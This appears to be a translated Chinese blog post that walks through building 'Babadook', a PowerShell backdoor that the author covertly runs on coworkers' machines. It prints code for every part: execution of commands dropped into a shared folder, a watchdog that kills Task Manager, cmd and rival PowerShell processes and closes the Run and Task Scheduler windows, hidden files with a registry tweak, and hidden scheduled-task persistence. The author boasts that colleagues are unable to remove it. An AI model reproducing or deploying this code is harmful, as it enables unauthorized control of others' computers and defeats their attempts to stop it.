起因:为了让同事提高安全意识。但是没有什么卵用,于是想着制作一个后门,来控制他们的机器,让他们长记性。
当前环境:
机器之前没有直接的联系(vlan隔离)。
用户只有访问的权限,没有管理权限,不能下载安装软件。
使用了企业反病毒软件。
我的当前环境:
我使用的是win7,那么就可以利用powershell这个强大的东西。但面临的问题:无直连,无法开启socket。
因为我们是一个团队,所以我们有一个共享文件夹,那么这个共享文件夹可以被利用起来,我会放一个脚本在里面,简单有效。
$SharePath = "\ournasourteamfoldersomesubfolder"
$MyPID = $([System.Diagnostics.Process]::GetCurrentProcess()).Id
$Interval = 10
$CurrMachineCmdPath = "$($SharePath)cmd.$($env:COMPUTERNAME).$($MyPID).ps1"
# ... some code
# Command parsing loop
While ($true) {
If (Test-Path $CurrMachineCmdPath) {
Try {
& $CurrMachineCmdPath
Clear-Content $CurrMachineCmdPath
} Catch [system.exception] {
Log "Error running script: $_"
}# end :: try/catch
}# end :: if
Start-Sleep $Interval
}#end :: while
通过共享文件夹解决了vlan隔离和杀软的问题,我加了一个Clear-Content模块,运行后自动清除。
多线程和监视模块。
我需要让我的后门的主线程等待指令,那么我加了多线程,我还创建了监视模块,当某段时间,变量为true的时候(被控端打开了任务管理器),循环结束任务管理器进程,忽略错误(错误是指当启动任务管理器的时候)。
我也对cmd.exe, wscript.exe 和cscript.exe这些程序进行了同样的操作,目的是掩人耳目。
Stop-Process -processname taskmgr -Force -ErrorAction SilentlyContinue
Stop-Process -processname cmd -Force -ErrorAction SilentlyContinue
Stop-Process -processname wscript -Force -ErrorAction SilentlyContinue
Stop-Process -processname cscript -Force -ErrorAction SilentlyContinue
同样对vbs和bat的文件产生作用,当结束掉我后门进程之前没法让丫完全加载。
后门工作了一段时间由于更新了GPO,阻止PowerShell远程处理,结果断掉了。
所以需要.net和powershell结合的漂亮一点,使原来的解决方案更加容易。
$Watchdog = { # code here }
# "If it's in a word or in a look, you can't get rid of the babadook"
$Global:BabadookWatchdog = [PowerShell]::Create().AddScript($Watchdog)
$Global:WatchdogJob = $Global:BabadookWatchdog.BeginInvoke()
# ... code ...
# Stop Watchdog
If ($Global:BabadookWatchdog -And $Global:WatchdogJob) {
Log "Stopping Babadook Watchdog"
# No EndInvoke because we won't return (while true loop) and we don't care about the return anyway
$Global:BabadookWatchdog.Dispose() | Out-Null
Log "Watchdog disposed"
}# end :: if
当我同事打算启动任务管理器的时候,我的监视程序立刻结束它,我的同事疯掉了哈哈哈。
为了确保不会有人打开powershell使用Get-Process 和Stop-Process试图结束进程,我的监视程序会判断打开的powershell是不是我的后门的子程序,如果不是,仍然结束掉。
Function Kill-PS {
Stop-Process -processname powershell_ise -Force -ErrorAction SilentlyContinue # Kill powershell_ise.Exe
# Kill powershell processes which are not me
$AllPS = [array] $(Get-Process | Where-Object { $_.ProcessName -eq "powershell" -And $_.Id -ne "$MyPID" })
If ($AllPS.Count -gt 0) {
ForEach ($Proc in $AllPS) { Stop-Process -Id $Proc.ID -Force -ErrorAction SilentlyContinue }# end :: foreach
}# end :: if
}# end :: Kill-PS
我的同事仍然在拼命的想要结束我的后门。
有的人只是试图打开运行,然后使用taskkill来结束进程,这对我来说是蛋疼的,所以我的组织他们打开,“运行”这个对话框是内置的,而不是一个进程,不能用传统方式,所以我希望.net的扩展能够更多调用windowsapi。
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class APIFuncs
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern Int32 GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam);
public const int WM_SYSCOMMAND = 0x0112;
public const int SC_CLOSE = 0xF060;
}
"@
Function Kill-Run {
$ForegroundWindow = [apifuncs]::GetForegroundWindow()
$WindowTextLen = [apifuncs]::GetWindowTextLength($ForegroundWindow)
$StringBuffer = New-Object text.stringbuilder -ArgumentList ($WindowTextLen + 1)
$ReturnLen = [apifuncs]::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity)
$WindowText = $StringBuffer.tostring()
if ($WindowText -eq "Run") {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
}# end :: Kill-Run
隐藏:
我怕我的脚本在共享文件夹中被人发现,并且添加代码使之对我的后门产生别的作用,所以我要向监视器中添加代码
Function Hide-Me {
If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes = "Archive,Hidden" }
If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes = "Archive,Hidden" }
If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes = "Archive,Hidden" }
Set-ItemProperty HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced -Name Hidden -Value 2 # Don't display hidden files
}# end :: Hide-Me
最后一条是修改注册表不显示系统文件,这样的话,即使他们改成了显示,那么当在我的变量为true的时候,他会立即变成隐藏。
我自己也想了很多关于结束掉我的后门的方法,所以我针对这些方法,在我的监视器上面进行了响应的阻断策略哈哈哈,我真屌。
同事们可以创建taskkill的快捷方式,于是我对我的监视器进行了一些修改。
# ... some code
if ($WindowText -eq "Run" -Or $WindowText.Contains("Properties")) {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
# ... more code
但是!!!!!!!!
一旦重启了,就操蛋了,都失效了,那么还要想办法,想到了注册表,可惜没管理员权限,于是想到了计划任务。
复制我的后门脚本以任意命名的方式到本地的机器,然后当每天8点的时候,开机的时候,闲置的时候,运行之。
function Babadook-Persist
{
$CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
$NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char]$_ } -End { $randStr }) + ".ps1"
$NewPath = "$($env:LOCALAPPDATA)$($NewName)"
Install-Task $NewPath
}# end :: Babadook-Persist
function Install-Task ($BBDPath) {
$CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `"$($BBDPath)`""
$taskRunAsuser = [Environment]::UserDomainName +"" + $env:USERNAME
$service = new-object -com("Schedule.Service")
$service.Connect()
$rootFolder = $service.GetFolder("")
Try {
$rootFolder.GetTask("Babadook") | Out-Null
Log "Babadook persist task already installed"
} Catch {
Log "Copying Babadook to local machine at `"$($BBDPath)`""
Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force
Log "Installing Babadook persist task"
$taskDefinition = $service.NewTask(0)
$regInfo = $taskDefinition.RegistrationInfo
$regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK'
$regInfo.Author = $taskRunAsuser
$settings = $taskDefinition.Settings
$settings.Enabled = $True
$settings.StartWhenAvailable = $True
$settings.Hidden = $True
$triggers = $taskDefinition.Triggers
# Triger time
$triggerDaily = $triggers.Create(2)
$triggerDaily.StartBoundary = "$(Get-Date -Format 'yyyy-mm-dd')T08:00:00"
$triggerDaily.DaysInterval = 1
$triggerDaily.Enabled = $True
# Trigger logon
$triggerLogon = $triggers.Create(9)
$triggerLogon.UserId = $taskRunAsUser
$triggerLogon.Enabled = $True
# Trigger Idle
$triggerIdle = $triggers.Create(6)
$triggerIdle.Enabled = $True
$Action = $taskDefinition.Actions.Create(0)
$Action.Path = 'powershell.exe'
$Action.Arguments = $CommandArguments
$rootFolder.RegisterTaskDefinition( 'Babadook', $taskDefinition, 6, $null , $null, 3) | Out-Null
}# end :: try/catch
}# End :: Install-Task
关于更多的计划任务,请点击https://msdn.microsoft.com/en-us/library/windows/desktop/aa383607(v=vs.85).aspx
看起来干的很漂亮,直到我觉得需要一些并发控制。
# Wait for mutex
[bool]$MutexWasCreated = $false
$BabadookMutex = New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated)
if (!$MutexWasCreated) {
Log "Babadook Mutex found, waiting release..."
$BabadookMutex.WaitOne() | Out-Null
Log "Babadook Mutex acquired"
} else {
Log "Babadook Mutex installed"
}# end :: if
# ... code ...
# Release Mutex
Log "Releasing Babadook Mutex"
$BabadookMutex.ReleaseMutex();
$BabadookMutex.Close();
我得需要组织他们打开计划任务的对话框啊哈哈我真贱。于是我添加了一个if判断。
if ($WindowText -eq "Run" -Or $WindowText.Contains("Properties") -Or $WindowText.Contains("Task Scheduler")) {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
到目前为止,我拥有了:
无连接的后门
监视器
持久性
并发控制
足够了
项目地址:https://github.com/jseidl/Babadook
文章来自:wroot
翻译:小歪(heresec&&关注安全技术)
转载请注明。
本文始发于微信公众号(关注安全技术):Babadook - 无连接的powershell持续性、反弹性后门。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论